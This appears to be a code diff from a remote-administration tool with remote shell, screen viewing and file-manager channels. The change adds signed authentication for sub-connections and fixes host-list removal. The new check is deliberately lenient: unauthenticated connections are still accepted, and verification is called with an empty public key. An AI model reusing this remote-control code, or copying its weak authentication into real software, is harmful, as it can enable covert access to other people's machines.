ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);

View File

@@ -713,6 +713,8 @@ void* ShellworkingThread(void* param)
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true)); std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get(); void* clientAddr = ClientObject.get();
NSLog(@">>> Enter ShellworkingThread [%p]", clientAddr); NSLog(@">>> Enter ShellworkingThread [%p]", clientAddr);
// 子连接:开启 auth。macOS IOCPClient 不带 m_conn显式传入 g_myClientID。
ClientObject->EnableSubConnAuth(true, g_myClientID);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get())); std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
@@ -737,6 +739,8 @@ void* ScreenworkingThread(void* param)
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true)); std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get(); void* clientAddr = ClientObject.get();
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr); Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
// 子连接:开启 auth。macOS IOCPClient 不带 m_conn显式传入 g_myClientID。
ClientObject->EnableSubConnAuth(true, g_myClientID);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get())); std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
if (!handler->init()) { if (!handler->init()) {
@@ -765,6 +769,8 @@ void* FileManagerworkingThread(void* param)
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true)); std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get(); void* clientAddr = ClientObject.get();
Mprintf(">>> Enter FileManagerworkingThread [%p]\n", clientAddr); Mprintf(">>> Enter FileManagerworkingThread [%p]\n", clientAddr);
// 子连接:开启 auth。macOS IOCPClient 不带 m_conn显式传入 g_myClientID。
ClientObject->EnableSubConnAuth(true, g_myClientID);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get())); std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);

View File

@@ -5494,6 +5494,53 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject); g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
break; break;
} }
case TOKEN_CONN_AUTH: { // 子连接身份校验【L】
// 设计取舍:
// - 主连接走 TOKEN_LOGIN不进入此分支。
// - 当前阶段宽容:未通过的子连接仍允许后续命令(依靠 IP 反查兜底),
// 仅把 IsAuthenticated 标志记下来,便于后续命令优先用。
// - 失败时回应 ConnAuthAck 让客户端 fail fast但不主动断连接
// (客户端拒绝继续 = 自己关闭,等价效果,少一次 RST 噪音)。
ConnAuthAck ack = {};
ack.token = TOKEN_CONN_AUTH;
ack.serverTime = (uint64_t)time(0);
ack.status = CONN_AUTH_INTERNAL_ERROR;
if (len < (int)sizeof(ConnAuthPacket)) {
ack.status = CONN_AUTH_BAD_SIZE;
Mprintf("[ConnAuth] %s: 包长度不足 (%d < %zu)\n",
ContextObject->GetPeerName().c_str(), len, sizeof(ConnAuthPacket));
} else {
const ConnAuthPacket* pkt = (const ConnAuthPacket*)szBuffer;
int64_t skew = std::abs((int64_t)time(0) - (int64_t)pkt->timestamp);
if (skew > CONN_AUTH_TIMESTAMP_TOLERANCE_SEC) {
ack.status = CONN_AUTH_CLOCK_SKEW;
Mprintf("[ConnAuth] %s: 时钟偏差 %lld 秒,拒绝\n",
ContextObject->GetPeerName().c_str(), skew);
} else {
BYTE sigInput[8 + 8 + 16];
memcpy(sigInput, &pkt->clientID, 8);
memcpy(sigInput + 8, &pkt->timestamp, 8);
memcpy(sigInput + 16, pkt->nonce, 16);
bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature);
std::string sig(pkt->signature, pkt->signature + 64);
if (verifyMessage("", sigInput, sizeof(sigInput), sig)) {
// 通过:把 clientID 钉在子连接 ctx 上
ContextObject->SetID(pkt->clientID);
ContextObject->SetAuthenticated(true);
ack.status = CONN_AUTH_OK;
Mprintf("[ConnAuth] %s: clientID=%llu 通过\n",
ContextObject->GetPeerName().c_str(), pkt->clientID);
} else {
ack.status = CONN_AUTH_BAD_SIGNATURE;
Mprintf("[ConnAuth] %s: clientID=%llu 签名无效\n",
ContextObject->GetPeerName().c_str(), pkt->clientID);
}
}
}
ContextObject->Send2Client((PBYTE)&ack, sizeof(ack));
break;
}
case TOKEN_BITMAPINFO: { // 远程桌面【x】 case TOKEN_BITMAPINFO: { // 远程桌面【x】
ContextObject->SetNoDelay(TRUE); ContextObject->SetNoDelay(TRUE);
ContextObject->EnableZstdContext(-1); ContextObject->EnableZstdContext(-1);
@@ -5694,17 +5741,17 @@ context* CMy2015RemoteDlg::GetContextByListIndex(int iItem)
return m_HostList[realIdx]; return m_HostList[realIdx];
} }
// 从 m_HostList 中移除 context 并更新索引映射 // 从 m_HostList 中移除 context 并更新索引映射
//
// 重要MarkDeviceOffline / m_ActiveWndW.erase 等"主机下线"副作用必须**只在
// 确实从 m_HostList 移除后**才触发。否则在子连接auth 通过后 ctx->GetClientID()
// 等于主连接 ID正常断开时会误把主连接当成下线造成 Web 端"假下线"和
// 活动窗口缓存被清空。
bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx) bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx)
{ {
if (!ctx) return false; if (!ctx) return false;
uint64_t clientID = ctx->GetClientID(); uint64_t clientID = ctx->GetClientID();
// 通知 Web 服务(批量通知,由定时器触发) bool removed = false;
if (WebService().IsRunning()) {
WebService().MarkDeviceOffline(clientID);
}
// 清理"活动窗口"列的宽字符旁路表
m_ActiveWndW.erase(clientID);
// 方案1通过索引快速查找如果索引有效且匹配 // 方案1通过索引快速查找如果索引有效且匹配
auto indexIt = m_ClientIndex.find(clientID); auto indexIt = m_ClientIndex.find(clientID);
@@ -5721,29 +5768,40 @@ bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx)
m_ClientIndex[c->GetClientID()] = i; m_ClientIndex[c->GetClientID()] = i;
} }
} }
return true; removed = true;
} }
} }
// 方案2索引不存在或不匹配遍历查找处理重复 ID 的情况) // 方案2索引不存在或不匹配遍历查找处理重复 ID 的情况)
for (size_t i = 0; i < m_HostList.size(); ++i) { if (!removed) {
if (m_HostList[i] == ctx) { for (size_t i = 0; i < m_HostList.size(); ++i) {
m_HostList.erase(m_HostList.begin() + i); if (m_HostList[i] == ctx) {
// 如果索引指向的是被删除的元素,也删除索引 m_HostList.erase(m_HostList.begin() + i);
if (indexIt != m_ClientIndex.end() && indexIt->second == i) { // 如果索引指向的是被删除的元素,也删除索引
m_ClientIndex.erase(indexIt); if (indexIt != m_ClientIndex.end() && indexIt->second == i) {
} m_ClientIndex.erase(indexIt);
// 更新后续元素的索引
for (size_t j = i; j < m_HostList.size(); ++j) {
context* c = m_HostList[j];
if (c) {
m_ClientIndex[c->GetClientID()] = j;
} }
// 更新后续元素的索引
for (size_t j = i; j < m_HostList.size(); ++j) {
context* c = m_HostList[j];
if (c) {
m_ClientIndex[c->GetClientID()] = j;
}
}
removed = true;
break;
} }
return true;
} }
} }
return false;
// 副作用:仅在主连接真的从列表中移除时才触发,避免子连接断开误伤主连接的状态。
if (removed) {
if (WebService().IsRunning()) {
WebService().MarkDeviceOffline(clientID);
}
m_ActiveWndW.erase(clientID);
}
return removed;
} }
LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)

View File

@@ -30,17 +30,15 @@ CString CFileManagerDlg::s_strLocalHistoryPath;
std::map<uint64_t, CString> CFileManagerDlg::s_mapRemoteHistoryPath; std::map<uint64_t, CString> CFileManagerDlg::s_mapRemoteHistoryPath;
CLock CFileManagerDlg::s_lockHistory; CLock CFileManagerDlg::s_lockHistory;
// 获取有效的客户端ID优先用 m_ClientID,否则通过 IP 找主连接 // 获取有效的客户端ID基类已经覆盖 m_ClientID + ctx->GetClientID()(含 auth 后钉的值),
// 这里仅在它们都拿不到时(老客户端没走 auth通过 IP 反查主连接做兜底。
uint64_t CFileManagerDlg::GetClientID() const uint64_t CFileManagerDlg::GetClientID() const
{ {
// 优先使用已设置的 m_ClientID未来 TOKEN_CLIENTID 会设置这个) uint64_t id = CDialogBase::GetClientID();
if (m_ClientID != 0) { if (id != 0) return id;
return m_ClientID; // 老客户端兜底:通过 IP 找主连接获取 ClientID线程安全
}
// 回退:通过 IP 找主连接获取 ClientID线程安全
if (g_2015RemoteDlg && m_ContextObject) { if (g_2015RemoteDlg && m_ContextObject) {
std::string peerIP = m_ContextObject->GetPeerName(); return g_2015RemoteDlg->FindClientIDByIP(m_ContextObject->GetPeerName());
return g_2015RemoteDlg->FindClientIDByIP(peerIP);
} }
return 0; return 0;
} }

View File

@@ -229,7 +229,11 @@ public:
return m_bIsClosed; return m_bIsClosed;
} }
virtual uint64_t GetClientID() const { virtual uint64_t GetClientID() const {
return m_ClientID; // 优先用 UpdateContext 设过的 m_ClientID重连场景否则取子连接 ctx 自身的 ID。
// 子连接通过 TOKEN_CONN_AUTH 通过校验后ctx->GetClientID() 已被钉成主连接的 clientID
// 这样 dialog 拿到的 ID 既准确又免去 IP 反查兜底NAT/127.0.0.1 场景靠谱)。
if (m_ClientID != 0) return m_ClientID;
return m_ContextObject ? m_ContextObject->GetClientID() : 0;
} }
BOOL SayByeBye() BOOL SayByeBye()
{ {

View File

@@ -378,6 +378,11 @@ public:
std::atomic<int> IoRefCount{0}; // I/O 处理引用计数 std::atomic<int> IoRefCount{0}; // I/O 处理引用计数
std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除 std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除
// 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。
// 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受),
// 仅作为标记供后续命令处理 / 未来收紧策略使用。
std::atomic<bool> m_bAuthenticated{false};
// 预分配的解压缩缓冲区,避免频繁内存分配 // 预分配的解压缩缓冲区,避免频繁内存分配
PBYTE DecompressBuffer = nullptr; PBYTE DecompressBuffer = nullptr;
ULONG DecompressBufferSize = 0; ULONG DecompressBufferSize = 0;
@@ -510,7 +515,11 @@ public:
// 注意到达这里时RemoveStaleContext 应该已经等待 IoRefCount==0 // 注意到达这里时RemoveStaleContext 应该已经等待 IoRefCount==0
IsRemoved.store(false, std::memory_order_release); IsRemoved.store(false, std::memory_order_release);
IoRefCount.store(0, std::memory_order_release); IoRefCount.store(0, std::memory_order_release);
// 复用对象池时清空校验状态
m_bAuthenticated.store(false, std::memory_order_release);
} }
void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); }
bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); }
uint64_t GetAliveTime()const uint64_t GetAliveTime()const
{ {
return time(0) - OnlineTime; return time(0) - OnlineTime;